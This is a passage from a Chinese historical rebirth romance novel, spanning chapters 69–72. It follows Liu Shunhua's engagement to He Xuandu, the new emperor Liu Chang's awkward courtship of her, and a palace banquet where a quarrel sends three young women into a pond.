刘昌进入长安城的消息很快传遍,街头巷尾纷纷感叹他生来好命,坐着便等来天上掉下个大馅饼。 柳舜华听到传闻时,不过一笑。 这个皇位,于他而言,不过是悲剧一生的开始。 刘昌进入皇宫后,在睿帝灵柩前,接受了皇帝玉玺和绶带,尊皇后王氏为皇太后,正式承袭帝位。 贺玄度与刘九生冷眼看着局势,柳桓安从头到尾,并未有任何举动。 刘昌这边,倒是状况频出。 继位第五日,他便提拔了大批济阳旧臣,随行之人鸡犬升天,将贺留善与睿帝遗臣晾至一边。 主持完睿帝丧礼,素食寡欲多日,刘昌迫不及待命人备了肉食,当日夜里便肆意宴饮,又叫来一些貌美宫人陪侍左右,鼓乐之声响了一整夜。 第二日贺留善与一众朝臣气愤不已,直指他不守丧礼是大不孝。 刘昌眼皮一抬,轻飘飘说了一句:“我只是太饿了。” 下朝后,颜太傅亲自找上贺留善,温言说皇上自济阳赶来,一路劳累,又主持丧仪,不吃不喝了五六日,身子骨本来就弱,实在有些顶不住,才如此出格。 贺留善面对自己当初力排众议挑出的人选,颇为头疼。 朝中对他把持朝政不满之人大有人在,彭城王的党羽又虎视眈眈。眼下,他绝不能与刘昌硬碰硬,只能静观其变。 …… 自上次送了贺玄度轮椅,周松回说,他这些时日都在试着练习站立,瞧着恢复得不错。 婚礼在即,柳舜华怕他欲速则不达,反而伤了腿,便约他去了望月楼。 十月中,小阳春,窗边的桃树竟罕见地开了花。 日光黄澄澄的,映着红艳艳的花,恍然有种春日的错觉。 再过一月,她与贺玄度便要成婚了。 柳舜华望着窗外的桃花发呆,重活一世,她又要嫁入相府。 与贺玄晖成婚三年,她几乎从未从他那里得到一丝柔情。 唯一一次,那年花开,她闲得无聊,站在桃花树下,盯着树上的一对喜鹊看得入神。 倏忽,那对喜鹊扑腾着翅膀隐到密叶中。桃花纷纷,落了一身。 她伸手去拂身上的落花,一转头,正瞧见贺玄晖静静地看着她,眸中笑意蔓延,温柔缱绻。 桃之夭夭,灼灼其华。之子于归,宜其室家。 后来,贺玄晖在那个春日里,如愿迎娶他的心上人。 柳舜华才明白,原来那片刻的温情,也只是为了那个他心底的姑娘。 前世,贺玄晖如愿以偿,而她与贺玄度,则埋葬在他成亲前的那个春夜。 风云流转,时光倒回,如今,她与贺玄度终于携手走到一起。 想到贺玄度,柳舜华嘴角带笑,无意识地伸手,去触碰窗外的桃花。 “桃之夭夭,其叶蓁蓁。之子于归,宜其家人。” 一个高大的身影落在窗前,贺玄晖就站在窗下,摘了一枝桃花递过去。 “柳小姐,提前恭贺你与二弟大喜。” 柳舜华伸出的手猛地缩回,泠泠道:“多谢贺大公子。” 贺玄晖站在一片树影里,掐紧手中的桃花,默然无声。 方才隔着一片浓荫,远远瞧见她,脑海中突然就涌出一些熟悉的画面。 春日迟迟,桃花树下的女子袅袅婷婷,月白锦袍随风。落花缤纷,女子拂着身上的落花,眉眼弯弯,明媚灿烂,像冬日里温柔和煦的暖阳,照在他心底阴暗的角落。 那一瞬,他心中怦然一动,抛下长陵侯世子,不管不顾地想见她一面,可如今人就在眼前,他却沉默了。 “我说这位公子,人都已经拒绝你了,就别死皮赖脸地站在这碍眼了。”嬉笑声从身后传来。 柳舜华循声望去,睁大双眼。 是刘昌,他竟然出宫了。 贺玄晖呆愣片刻,垂首道:“皇……” 刘昌伸手将他扶起,“呦,原来是贺大公子,真是对不住,适才离得远,我还以为是哪位登徒子要非礼柳小姐呢。” 贺玄晖敛了心神,淡声道:“方才瞧见柳小姐看着桃花出神,便自做主张摘了一枝。” 刘昌笑得得意,“贺大公子,你的心意我明白。只是,你这花,恐怕不太合柳小姐心意。” 贺玄晖茫然抬头,他怎如此笃定柳舜华不会收下这枝花,莫非他们认识? 刘昌摆摆手,“贺大公子,别这么看着我。惭愧啊,柳小姐已经有意中人了。” 柳舜华已经与贺玄度定亲,他自然知晓。只是,他刘昌有什么好惭愧的?想到此前贺玄度与刘昌曾在朝堂上闹过一出,贺玄晖瞬间了然,他大约是想替贺玄度鸣不平吧。 贺玄晖淡然一笑,“我自然知晓,不过是一枝花而已,皇上多虑了。” 刘昌一抬手,身后的成川便将手中的红柰果递到柳舜华跟前。 “柳小姐,这是皇上来的路上千挑万选的,还请笑纳。” 柳舜华听着他们你一言我一语,只觉得吵闹。 刘昌的东西,她压根不敢接,谁知他又会在里面放什么。 正要开口拒绝,一双大掌伸过,将面前一袋红奈果拿了过去。 贺玄度伸手拿过一颗,咬了一口,“多谢皇上赏赐。” 刘昌见有人抢了自己的东西,正想破口大骂,瞧见是贺玄度,顿时笑了起来。 他盯着贺玄度上看下看,摇头道:“贺玄度,你这好好的,怎么就瘸了呢,真是可惜。” 贺玄度笑道:“劳皇上挂心,好着呢。” 刘昌看着他手中的红奈果,皱眉道:“虽说咱们有些交情,但你夺我果子,有点不地道吧?” 贺玄度一脸疑惑,“这果子难道不是皇上赏我的?” 刘昌笑了,“贺玄度,你哪只眼睛看到我赏你的,我这是送柳大小姐的。” 贺玄度摸着怀中的果子,慢悠悠道:“常言道,夫妇一体,皇上赏了蓁蓁的,自然 也就是赏了我。” 刘昌怔愣片刻,茫然道:“你说谁夫妇一体?” 贺玄度望向柳舜华,“自然是蓁蓁,我们已经定了亲,下月便要完婚。” 刘昌气急败坏,“不是,贺玄度,你要不要脸?你敢强取豪夺?” 贺玄晖眉头一皱,皇上这是搞哪出? 贺玄度眉头一扬,“我与蓁蓁两情相悦,情投意合,皇上言重了。” 刘昌不信,“你胡说八道什么,柳小姐明明心悦于我。柳小姐,你别怕,如今没人能强迫你。” “皇上方才不是也说,我早有心悦之人。”柳舜华看着贺玄度,“没错,我的心上人,就在眼前。嫁给他,我甘之如饴。” 贺玄晖眉头深锁,心中像堵了块巨石。 刘昌明显不信,“那你今日在此,难道不是在等我?” 柳舜华愕然,刘昌满脑子的,到底在想什么。 “皇上说笑了,今日在此,是因为我与玄度有约。” 刘昌犹在挣扎,“那此前我离开长安,你跑到东门相送,还送我山果子,又怎么解释?” 柳舜华:“那是因为贺玄度没有胃口,我便去帮他摘些野果,实在不知皇上要提前离开。” 刘昌:“不对,我送你玉佩,你还追着我跑,明明就是舍不得。” 柳舜华无奈,“那是因为我发现被迫收了皇上送的玉佩,追着您去还玉佩。” 刘昌如五雷轰顶,他一路赶回长安,一得空便跑出来寻她,怎么就变了呢? 他丰姿潇洒,人美姿貌,又地位尊贵,柳舜华没有理由不喜欢他啊。 思前想后,他终于明白过来。 “我知道了,你一定是觉得我如今身份尊贵,配不上我才这么说的对不对?” 刘昌对上柳舜华,深情款款,“你放心,我说过的,会给你一个名分。我决定了,我要立你为皇后。” 第70章 第70章护食 刘昌自进长安城以来,荒唐事虽做了不少,但随随便便说要立后,还是让在场几人瞠目结舌。 柳舜华不信他会无缘无故要娶她,在脑海飞快盘算着,刘昌此举到底有何用意。 贺玄度锐利冷沉的双眸微微一抬,“皇上是当我死了吗,还是说你要赐死我?” 风卷着落叶在脚边打转,两人视线交汇,似有火花碰撞,一瞬间空气仿佛凝固了一般,方才还如春日明媚,转眼变成冰天雪地的修罗场。 刘昌突然扑哧一笑,“贺二公子,你这是把我当成昏君了。我虽年少风流,却从不做强取豪夺之事,自然还是要看柳小姐的意思。” 柳舜华无奈看他,“皇上,我说得很清楚了,此前都是误会。我一直喜欢的,只有贺玄度。” 刘昌捶胸顿足,“柳舜华,你这个女人,眼光实在是太差了。” 贺玄度淡淡一瞥,“谁不知蓁蓁这一双眼生得极好,眼眸清亮,慧眼识珠。” 望月楼掌柜的下楼,看到几人站在窗边,忙躬身笑道:“几位贵客怎么站着,屋内请。” 窗外的三人相互看了一眼,这才先后进了酒楼。 四人同桌,柳舜华饶是问心无愧,还是一阵莫名的尴尬。 成川咳了一声,悄声道:“皇上,您与他们同桌,怕是不太好吧。” 刘昌将他推到一边,“我人都出来了,还要守那破规矩。” 贺玄度伸手倒了一杯茶,熟练地递给柳舜华,又笑道:“刘公子不是不喜与别人一起用膳?” 刘昌瞥了他一眼,“贺玄度,你们只是定亲,又没有成婚,别装一副老夫老妻的样子,给谁看呢,谁信呢?” 贺玄晖皱起眉头,刘昌这话说得,也太直白了些。 成川听了贺玄度的提醒,又低声道:“公子,要不要去找几个美人来陪着?” 刘昌一听,照着他的头拍去,咬牙切齿道:“找什么美人,找什么美人,我什么时候有这么肤浅的癖好了。” 成川委屈,这十几年不都是这样。 饭菜端上,几人看向刘昌,等他先动筷。 刘昌努努嘴,示意要吃鱼,左右瞧了一下,并无美姬在旁。 他浑身不自在,赌气夹了一块鱼,胡乱塞进嘴里。 贺玄度没有急着动筷,拿了张薄饼,夹足了炙肉,又放了葱丝解腻,长指一折,卷在一起。 刘昌想起贺玄度曾给他卷的那张饼,味道确实不错。虽说他是男子,但他这手白皙干净,骨节分明,勉强也凑合。 贺玄晖瞧着眼前的炒胡瓜,不知为何,双手不受控制地夹起递给柳舜华。 胡瓜落在柳舜华碗内的时候,贺玄度举着的卷饼也送到柳舜华跟前。 两人相视一望,手上的动作同时一滞。 贺玄晖意识到自己行为不妥,垂下眼睫,沉默着收回手。 刘昌张大嘴巴,正等着贺玄度喂给他,眼睁睁看着卷饼转向了柳舜华。 电光石火间,刘昌福至心灵,也赶忙夹了一块熏肉送到柳舜华碗内。 柳舜华愣了片刻,伸手接过贺玄度递来的饼,将碗筷推到一边。 “近日胃口不佳,吃不下太多,一张卷饼足矣。” 贺玄度垂头,摸着鼻子,嘴角勾起一丝得意的笑。 被贺玄度抢了风头,刘昌有些不满,本来就不喜与男子一同进食,一顿饭吃得悻悻然。 方用过饭,突听空中一声惊雷,方才还艳阳高照的天空,一下黑沉下来,紧接着雨珠纷纷落下。 贺玄度看着天色,对着柳舜华道:“这雨瞧着,一时半会停不下来。我的马车在外面,你先乘着回去吧。” 刘昌抢着道:“我也要回去,柳小姐不如一起吧?” 贺玄度冷声开口:“柳府在东边。周松,送蓁蓁回去。” 刘昌叹气,贺玄度这样,活像个护食的小狼狗,任他浑身本领根本施展不开啊。 回到相府,贺玄度即刻写了封信,让周松转交给刘九生。 信上嘱咐刘九生留意最近身边是否有可疑之人,他怀疑,刘昌刻意接近柳舜华,其真正的目的是试探柳桓安。 刘昌,或许并不是表面那般荒唐,而是一个善于伪装的可怕对手。 三日后,刘昌以宽慰皇太后为由,在宫内设了赏菊宴,邀各家贵女前往。 毫无意外,柳舜华在名单之中。 想到上次大长公主府寿宴,柳桓安心有余悸,反复叮嘱柳舜华万事小心为上。 柳舜华笑道:“兄长别过分忧虑,皇宫内院,怎会有人傻到将主意打到进宫的女眷身上。” 说罢,想到此前刘昌的种种行径,差人去告知贺玄度,三日后的赏菊宴,让他务必前往。 踏进宫门,那种压抑的悲凉扑面而来。 上辈子,她共进宫过三次。 一次是棠华封后,一次是棠华产子,最后一次是棠华崩逝。 棠华一生中最美好的年纪,埋葬在这皇宫内,她对这深宫本能抵触。 宫娥引路,绕过了几道宫门来到沧池。 石阶之上,各色菊花争奇斗艳,色彩斑斓。一排排依次摆开,如蜿蜒的巨龙,又似展翅的凤凰,看得人眼花缭乱。 此时已临近正午,水榭旁各世家贵女们早已到场,正说笑着,看到柳舜华过来,纷纷抬头望去。 参加两次寿宴,柳舜华对这些人已有些面熟,笑着向她们点头。 柳舜华近月来,先是传出与相府大公子定亲,后又正式与二公子定下婚约,长安城贵女们对她早有耳闻。 因着上次之事,柳舜华懒得再与她们周旋,只挑个清静的地方,独自坐着。 池内波光粼粼,一群红鲤游弋在水草间,身姿灵动,搅动一池盈盈秋水。 柳舜华见旁边有些鱼食,便顺手拿来撒在池内,一池的红鲤瞬间涌了过来,争相抢食。 她正看得起劲,几枚石子投了过来,红鲤四散,溅了她一身水。 “呦,不好意思,失手了。”一个身穿绿衣的女子站在对岸,正捂着嘴笑。 柳舜华认得她,贺容暄的堂姐,贺玉雪。 前几日,她为几颗夜明珠与贺容暄起了争执,贺玉雪多半是想为贺容暄出气。 上辈子,贺玉雪仗着她姓贺,没少跟着贺容暄奚落她。 柳舜华冷笑一声,正欲起身去理论,只听有声音冷冷道:“贺玉雪,你知不知道这是什么地方,也敢在这放肆。” 贺玉雪抬头,瞧见刘妉柔,心底有些犯怵,硬着头皮道:“我只是失手落了几枚石子而已。” 刘妉柔扫了她一眼,“这池子里是先帝最爱的红鲤,你无故惊扰它们,是完全不把先帝放在眼里了。” 贺玉雪有些慌张,信口胡诌道:“我没有,我就是看着路边的石头好看,随便捡了几颗,一时手滑掉到了水池中。” 刘妉柔冷声道:“既是无心,那就应该好好道歉。” 贺玉雪涨红了脸,对着柳舜华道:“不好意思,柳小姐,请多担待。” 柳舜华并不想担待什么,只是吵架太麻烦,她更讨厌麻烦。 于是挥手道:“红鲤怕吵,贺小姐既喜欢石头,还是去看石头吧。” 有刘妉柔在,贺玉雪不敢放肆,忙快步离开。 “柳小姐,怎么独自坐着这呢?”刘妉柔笑语盈盈走了过来。 柳舜华起身,“郡主好。” 今日是刘昌登基以来,首次邀各家女眷进宫,有些心思活络的,费尽心思的打扮,以求能得他青眼。如今聚在一处,无非是谈论这些,柳舜华对这些没有兴致,跑在这里躲清静,没想到刘妉柔竟跟了过来。 刘妉柔顺势坐下,看着池中畅游的红鲤,“其实,我也不喜这样的宴会,没意思。” 柳舜华仔细回想了下,与刘妉柔仅仅三面之缘,她却帮了她两次。 直觉告诉她,刘妉柔对她,似乎有些不一样。 莫非是知晓她喜欢贺玄度,要嫁入相府,日后想她在相府帮她美言几句,以便她能顺利嫁给贺玄晖。 想到此处,柳舜华忍不住开口,“郡主,你为何要帮我?” 风乍起,池水冲淡了两人的影子。 刘妉柔抬眸对上柳舜华,空蒙的眼里蕴藏着难以言说的情绪。 “你信吗?从见你的第一面,我便喜欢你。” 刘妉柔的眼神,很奇怪。 她看着自己,眼眸诚挚明亮,可柳舜华却有种直觉,她看的并非是她。 柳舜华被看得有些不自在,只能笑笑,“郡主说笑了,咱们还是快些回宴席去吧。” 刘妉柔这才收回目光,微笑点头。 两人才走两步,贺容暄便迎面走了过来。 柳舜华无奈地摸着头,贺容暄还真是无处不在。 贺容暄方才一进来,便听堂姐哭诉,登时火气上蹿。又远远瞧见两人说说笑笑,心道也不知这两人什么时候走得这么近了。 她瞥了柳舜华一眼,讥讽道:“前脚哄得贺玄度娶了你,后脚又搭上了郡主,柳小姐当真好手段啊。” 柳舜华知她又要挑事,也懒得与她口舌,作势要走。 贺容暄见柳舜华竟无视她,手一伸,拦在她跟前,“怎么,觉得丢人要走?” 柳舜华昂首,迎上她的目光:“贺小姐这话什么意思?莫不是觉得,嫁进你们相府是一件很丢人的事?” 贺容暄柳眉一横,骂道:“巧舌如簧,不知羞耻。” 一直站在旁边的刘妉柔轻笑一声,“贺小姐,怕不是有误会吧。我听闻柳小姐与贺二公子是两情相悦。这你情我愿的事,有什么可羞耻的。至于我,我与柳小姐一见如故,更没什么好羞耻的。” 贺容暄气结。 比起出身低微的柳舜华,贺容暄更不喜贵为郡主的刘妉柔。 自懂事起,母亲总是教导她,将来一定要做大安最尊贵的女人。可惜她生不逢时,没能做得成皇后。 她金尊玉贵地活了十多年,突然有天见到了比她更尊贵的刘妉柔。 她心内不服。 论相貌才学,刘妉柔哪里比得上她,不过因她是皇亲国戚,这些年白占着长安第一贵女的名头。 她一向自视甚高,哪里容得下被刘妉柔压着。 “郡主说得是。”她话锋一转,矛头对准刘妉柔,“可自古婚姻大事,父母之命媒妁之言,两情相悦也要合乎情理,若是没有父母的认同,不过是野鸳鸯而已。” 任谁都知道,刘妉柔与贺玄晖的关系。她这句句带刺,明里暗里,分明是在讽刺刘妉柔上赶着攀附她兄长。 柳舜华皱了皱眉,贺容暄还真是一张嘴不饶人。 她原以为,前世贺容暄是嫌弃她出身低微,才处处挑刺。没想到如今换成了出身高贵的刘妉柔,依旧如此。 贺容暄莫非觉得,这世上没有任何人能配得上贺玄晖。 刘妉柔却不恼,只是淡声道:“不知贺小姐听了什么,可传言嘛,听个两三分即可,贺小姐怎么还真信了。” 贺容暄脸色暗了一下,很快脸上带着得意地笑,“是啊,都是传言。我们相府一举一动,都格外受关注。就像如今外面都在传,说母亲要替兄长张罗婚事。那些外人懂什么,我哥可是相府嫡子,哪里就那么容易定了。要想嫁进我们相府,可没那么简单。郡主出身高门,应该懂吧?” 柳舜华一听,她明知刘妉柔心悦贺玄晖,却这般直刺她的痛处,下嘴可真狠。 贺容暄此话一出,刘妉柔果怔愣了一下,她没有反驳,只是喃喃重复了一句:“高门?” 想到刘妉柔方才帮了她,看她有些失落,柳舜华有些不忍,安慰道:“尾生抱柱,文君当垆,也不是没有。男女之事,岂是一句高门便能说得清的。” 贺容暄被柳舜华驳斥,怒骂道:“我在同郡主说话,哪里有你说话的份。你区区一个司农丞的女儿,能嫁进我相府已是修了几百年的福气,还敢在这里口出狂言。” 她尤觉不解气,“你同你那个不知好歹的兄长一样,都是贱胚子。” 柳舜华本不想与她计较,可她实在忍不了,有人当面辱骂自己的亲人。 “啪!” 一声脆响,回荡在耳侧。 柳舜华转头,只见贺容暄正双手捂住脸,不可置信地望向刘妉柔。 这一巴掌,打得贺容暄有些懵。 同样一脸懵的还有柳舜华。 刘妉柔为了维护她,竟然出手打了贺容暄! 贺容暄回过神来,眼里冒火,“刘妉柔,你敢打我?” 刘妉柔冷眼瞧着贺容暄,眼中满是遮不住的厌恶,“你若再敢出言不逊,我照打不误。” 贺容暄长这么大,还是第一次被人如此羞辱,她当即抬手朝刘妉柔打去。 刘妉柔侧身一躲,贺容暄扑了个空,她不甘心,拽住刘妉柔的衣襟,抽出手来朝她脸上扇去。 柳舜华怔愣在原地,看着扭打在一起的两人。 贺容暄向来张牙舞爪,她见怪不怪。可刘妉柔,她是郡主啊,言行举止端庄得体,进退有度,怎也如此冲动。 待反应过来,柳舜华站在一边急道:“别打了,若是被人看到如何是好。” 然而两人急红了眼,哪里肯听,一个个的都不肯放手。 刘妉柔手按住贺容暄的脸,还不忘抽空嘱托,“柳小姐,你别管,离得远些,省得她赖上你。” 贺容暄嘟嘟囔囔道:“柳舜华,你若是敢偷偷帮她,你死定了。” 两人紧紧扭住对方,根本拉不开,柳舜华怕惊动了人,也不敢声张。 扭打之间,两人双双撞到栏杆上,木栏杆被撞得晃动了几下。 柳舜华心道“不好”,忙上前去拉,可惜还是晚了一步。 两人身子一歪,朝池中跌去,柳舜华慌忙伸手去拉。 刘妉柔拉着贺容暄,贺容暄拽着柳舜华,一串儿跌下了水池。【你现在阅读的是 】 70-80 第71章 第71章当着我的面,挖墙脚?…… “ 扑通”几声,水面飞溅起巨大的水花。 三人皆不会凫水,一声“救命”尚未喊出,已经灌进几口水,不停地在水中挣扎,却是越挣扎离岸边越远。 巨大的声响很快引来附近的贵女们,瞧见有人掉进了水池,慌张大叫。 宫中举办赏花宴,本就是刘昌闲着无聊找乐子,男女席位不过一墙之隔,听到这边呼救,纷纷赶了过来。 刘昌喜热闹,最先跑了过来,看到有人在水池里扑腾,忍不大笑。 “这都是哪家的小姐?” 一旁的宫女忙回道:“是平阳王府的小郡主,相府的二小姐,还有柳御史的妹妹。” 此时,贺玄晖,贺玄度,柳桓安等一众男宾才到,便见一道黄色身影掠过,刘昌扑通一声跳进了水中。 柳桓安与贺玄晖朝水中一望,登时大惊,忙跑到池边,正欲下水,只听又是扑通一声,坐在轮椅上的贺玄度游鱼一般跃入池中。 两人瞧见刘昌与贺玄度都朝着同一个方向游去,紧接着跳了进去。 有几个精明世故的,看皇上都跳了进去,也跟着扑通下水。 余下的官员就尴尬了,一个个站在岸边,装势欲往池中跳去。 皇太后实在看不下去,喝道:“都不准跳,还嫌不够乱,都给我回去。” 刘昌下水早,正朝着柳舜华身边游去,突然一个黑影从后方窜出来。 他吓了一跳,定眼一看,眼睛瞪得老大,居然是贺玄度。 眼瞅着贺玄度要超过自己,刘昌忙划动双臂,奋力游去,然而还是落后一步,眼睁睁地看着贺玄度越过他,游到柳舜华跟前。 瘸腿的贺玄度,竟游得比他还要快,刘昌自尊心备受打击。 但想到贺玄度毕竟断了腿,拖着柳舜华必定体力不支,到时候他从旁协助,也不算丢人。 他打定主意,漂在水面上,等着贺玄度主动游过来。 谁知,贺玄度一手抱着柳舜华,一手划在水面,猛地一个转身过去,溅了刘昌一脸水后,径直朝岸边游去。 刘昌气得手抖,他兴冲冲地跳下来,却这么白白被贺玄度抢了风头。 他正在气头上,只见后面几个奉承的官员游了过来,见他浮在水面,以为他没了力气,齐声高喊着:“快救皇上。”一边喊一边将他往岸上拖。 柳舜华泡在水里,正惶恐无助,便见贺玄度不顾一切游向她,她攀上他的肩,身子紧紧贴着他,任由他带着自己在水中游弋。 上岸后,贺玄度才轻轻将她放下。 贺玄晖拖着贺容暄,柳桓安抱着刘妉柔,缓缓爬上来。 柳桓安先看了看旁边的柳舜华,见她无事,这才转头,轻声问:“郡主,你怎么样?” 刘妉柔劫后余生,涕泪涟涟,眼睫上挂着泪珠,楚楚可怜,毫无方才打架时的气势,她垂着头,“我……没事。” 贺容暄最后被救上来,又拼了命地扑腾,呛进了不少水,这会一群小宫女围着,正在她腹部不停按压。 柳舜华与刘妉柔目光撞在一起,略有些心虚,又齐齐向贺容暄望去。若贺容暄出事,她们怕不好交代。 贺玄度意识到她的不安,用力握住她的手,朝她点点头,示意一切有他。 片刻后,贺容暄吐了一口水,缓缓睁开眼。 睁开眼,看到一旁的柳舜华,贺容暄骂道:“都怪你,你就是个灾星,遇到你准没好事。” 说罢,挣扎着起身,挥着手臂朝她扇去。 贺玄度一把将她推开,冷声道:“贺容暄,若你再敢对你二嫂出言不逊,别怪我不客气。” 贺容暄前脚被打了一巴掌,又被贺玄度当面驳斥,立时大哭起来,拉着贺玄晖道:“兄长,他们都欺负我。” 贺玄晖眉头一皱,轻轻拍着她的肩,“到底怎么回事?” 贺容暄指着柳舜华,“都是她,仗着要嫁入咱们相府,羞辱堂姐。我看不过,与她争执,反被她推入水中。” 贺玄晖抬头,狐疑地望向柳舜华。 柳舜华要笑了,贺容暄这睁着眼说瞎话的本领,还真是一如既往的娴熟。 还有贺玄晖,他又是这个眼神,永远只听她一面之词,毫无底线地护着自己的妹妹。 贺玄度已经坐回轮椅上,不屑地瞥了贺容暄一眼,“贺容暄,你要不要听听你在说什么?你飞扬跋扈谁人不知,蓁蓁若是真羞辱了贺玉雪,你定要闹得满城皆知。还有,你说蓁蓁推你,若她存心推你,怎么你们三人都掉入池中,你说话之前能不能先过过脑子?” 贺容暄瞪了回去,“她是你未过门的妻子,你自然向着她。为了个女人,连兄妹情都不顾了,你这是色令智昏。” 刘妉柔也被贺容暄的无理给惊到了,正要开口解释,柳舜华已经起身。 柳舜华冷眼看着贺容暄,厉声道:“贺二小姐,你说我们欺负你,那你敢不敢将你方才的话,一字不落地再说一遍?” 今日之事,皆因她而起,刘妉柔是为了维护她才被波及,她不能拖她下水,只能将矛盾往自己身上引。 方才贺容暄仗着无人在场,先是出言讥讽刘妉柔,又对着她恶言恶语,那些话可不好听。她就不信,当着这么多人的面,她好意思再说一遍。 贺容暄狠狠地盯着柳舜华,她也深知那些话的确不太好听。她今日来,是为了亲近刘昌,如今人还未见到,若是留下个恶毒的印象,可不太妙。 过了许久,她冷哼一声,将头转向一边。 此事关乎相府家事,又牵涉妉柔郡主,在场之人一时沉默。 就在这时,刘昌终于被人架着上了岸。 跳下水的几个官员都想大展拳脚,在水里你争我抢,人越多越乱,刘昌被抢来抢去,折腾了大半晌才被拖出池子。 他不停地抖着,对着众人道:“你们都不冷吗,都杵在做什么?” 众人这才反应过来,几个宫女扶着三人去更换衣物。 待众人散去,几个全程围观的贵女窃窃私语。 “你们瞧见了吗,方才贺大公子都没看妉柔郡主一眼?” “贺二小姐也掉了下去,贺大公子哪里还看得到她。” 一个小姐叹道:“平日里都在传,说贺大公子为了妉柔郡主至今未婚配,可如今性命攸关,他毫不犹豫地舍了她。真是……” 真是让人心寒! 她们都是些未出阁的小姐,不禁想,若是自己的心上人在生死关头将自己抛在一边,怕是要生无可恋了。 另一位小姐想了想,笑道:“要说起来,贺二公子这人平日里瞧着吊儿郎当的,却是真不错。腿都断了,却毫不犹豫跳入池中去救柳小姐。” “是啊,贺二小姐不依不饶,他却始终站在柳小姐这边。为了她,能做到这个份上,真是难得。怪不得他就算断了腿,柳小姐也要嫁他。若是有人这么待我,我……” 说罢,几人嬉笑道:“你怎么样?也要嫁。瘸了腿瞎了眼都无所谓?” 那小姐娇嗔道:“你们真讨厌。” 几人说罢,话锋一转,“你们说,方才皇上跳下去,是为什么?” 一个机灵的贵女想了想,“大概,是图热闹吧。” 宴会散后,皇太后留下贺玄晖与柳桓安问话。 柳舜华由贺玄 度陪着,在宫门口的马车上等柳桓安出来。 想到宴席上之事,柳舜华止不住扶额,她与贺容暄纠缠两辈子,注定不能和睦共处。 若前几次只是争执,那这次便是彻底撕破脸了。 柳舜华落水前去拉贺容暄与刘妉柔,手在栏杆上磨出了皮,又泡了水,此刻手腕上一圈红痕,看着触目惊心。 贺玄度抓过她的手,从袖中掏出药膏,刮了一点,轻轻涂抹在伤处。 “贺容暄主动挑事,就让她掉进池子里泡一会长长记性,你何必救她。” 柳舜华抬头,“你怎么知道?” 贺玄度捏住她的手腕,将药膏推开,“此前你在长公主府出过事,这次我怎能毫无防备。” 柳舜华片刻怔忡,一是为贺玄度如此细心感动,一是惊叹,他竟有这样的手段,在宫内安插眼线。 涂完药,贺玄度抽出一块帕子,将她手腕缠住。 那帕子上绣了盛放的木槿花,正露在外面。雪白一段皓腕,在灼灼木槿的映衬下,初雪一般,轻盈娇嫩,让人移不开眼。 两人相对而坐,贺玄度犹握住她的手腕,柳舜华抬头,视线正落在他双眸上。 少年长长的眼睫在脸上落下一片阴影,薄唇紧抿,整张脸线条流畅,俊美中又带着微不可察的攻击性,像是隐忍不发的幼兽,只待敌人一放松,便将它撕咬啃噬殆尽。 这样的他,有些陌生,却带着说不出的诱惑,让柳舜华忍不住想要靠近,想要了解他更多一点。 贺玄度放开她的手腕,长眸抬起,正对上她探究的目光。 他凑近,几乎贴在她的耳边,“你这么看着我做什么?” 柳府的马车不大,空间逼仄,他这一凑,柳舜华忙向后退,脊背紧紧贴着车壁。 贺玄度顺手将她拉回来,双手紧贴在她腰间,看向她的目光逐渐灼热,惹得她心头微微发烫。 她垂着头,试图转移话题,“今日,多亏有你,不然依着贺容暄的性子,只怕难以收场。” “若非要嫁于我,你又何至于会得罪她。此事皆是因我而起,我若不能站出来护着你,还算什么男人。” 贺玄度垂头,看着她:“蓁蓁,你是我的命,不,比我的命还重要。若这世上没有你,贺玄度不过是一具行尸走肉。” 他离她极近,呼吸落在她脖颈间,一路延伸,柳舜华脊背一阵酥酥麻麻,双手不受控制,无力攀上他的脖颈。 贺玄度像被一团火点燃,浑身微微发颤,滚烫的双手捧着她的脸,俯身吻了下来。 清冽的气息碾过双唇,与幽幽荷香纠缠,马车内,只余两人清浅的呼吸。 两人十指交扣,气息交缠,完全没注意到有人缓缓靠近。 刘昌看到马车上挂了个“柳”字,轻轻敲了下车壁,“蓁蓁,你在里面吗?” 柳舜华浑身一僵,猝然回过神,头微微一偏。 贺玄度伸手将她扳了回来,火热的双唇再次压了上来。 柳舜华惊愕得睁大双眼,贺玄度是疯了吗? 贺玄度不满她分心,抬手将她双眼捂住,唇上的力道又加重几分,带着侵略近乎蛮横般的掠夺,铺天盖地而来,让她根本无力挣脱。 “蓁蓁,那贺玄度有什么好,不如你退了亲,跟着我吧。” 刘昌在车外循循善诱,“我说过要封你为后,说到做到,从此你便一人之下万人之上。你若不喜欢,我就……我就将那些宫女全部换成太监。从此以后,只守着你一个人。你说,好不好?” 久久得不到回应,刘昌又叫了几声,猛地一下掀开车帘。 贺玄度双唇从柳舜华脸上缓缓移开,将她的脸埋在他胸前。 日光倾泻进车内,照在贺玄度水润红颜的唇上,带着几分欲色,格外刺眼。 他抬头,笑得谦和有礼,“皇上,您这是当着我的面,挖墙脚吗?” 第72章 第72章上林苑冬猎 刘昌听说皇太后将贺家兄弟以及柳桓安留下问话,以为车内只有柳舜华一人,不承想,贺玄度竟在车内。 一时尴尬,硬着头皮道:“你不是被皇太后叫去了,怎么也在?” 贺玄度手指在唇上一抹,慢条斯理道:“皇太后仁慈,怕我坐着轮椅不便,准我先出宫。” 刘昌咳了几声,依旧站着,丝毫没有要走的意思。 贺玄度微微挑眉,刘昌这脸皮,真是够厚的。 见他不肯走,贺玄度就坐在车内,两人就这么僵持着。 过了片刻,柳桓安与贺玄晖先后走出宫门。 贺玄度朝着远处打了个呼哨,周松推着轮椅过来,将他扶上去。 刘昌对着两人,正色道:“我听闻皇太后召你们去问话,特意等在这里。你们都是朝中股肱之臣,家眷要和睦才是。” 两人垂首,“臣惶恐。” 等上了马车,柳桓安皱眉道:“你此前与皇上认识?” 柳舜华不敢隐瞒,将事情原原本本地告知兄长。 柳桓安听罢,眸底暗沉,缓缓道:“以后,离皇上远一些,免得惹祸上身。” 柳舜华点头,想了想,“皇太后可有责怪?” 柳桓安脸色缓和,笑了笑,“无事,只是和皇上方才说了同样的话,你不必担心。” 说罢,又叹了一声,“今日你同贺容暄这一闹,日后嫁进相府,可有得头疼了。还好,贺玄度答应你一起去凉州。” “兄长放心,有老夫人在,贺容暄不敢胡闹。”又道,“说起来,今日水榭内,妉柔郡主帮了我不少。只是方才形势有些混乱,我都没来得及向她道谢。我想明日送上拜帖,登门致谢,不知兄长以为如何?” 柳桓安目光一滞,随即淡声道:“不必了,徒生事端。” 月底朝中议事,刘昌直接任命济阳郎中令成渊接替未央宫守卫,将原卫尉贺留善之侄调至羽林军中。 调令来得突然,根本不给贺留善一点转圜的余地。 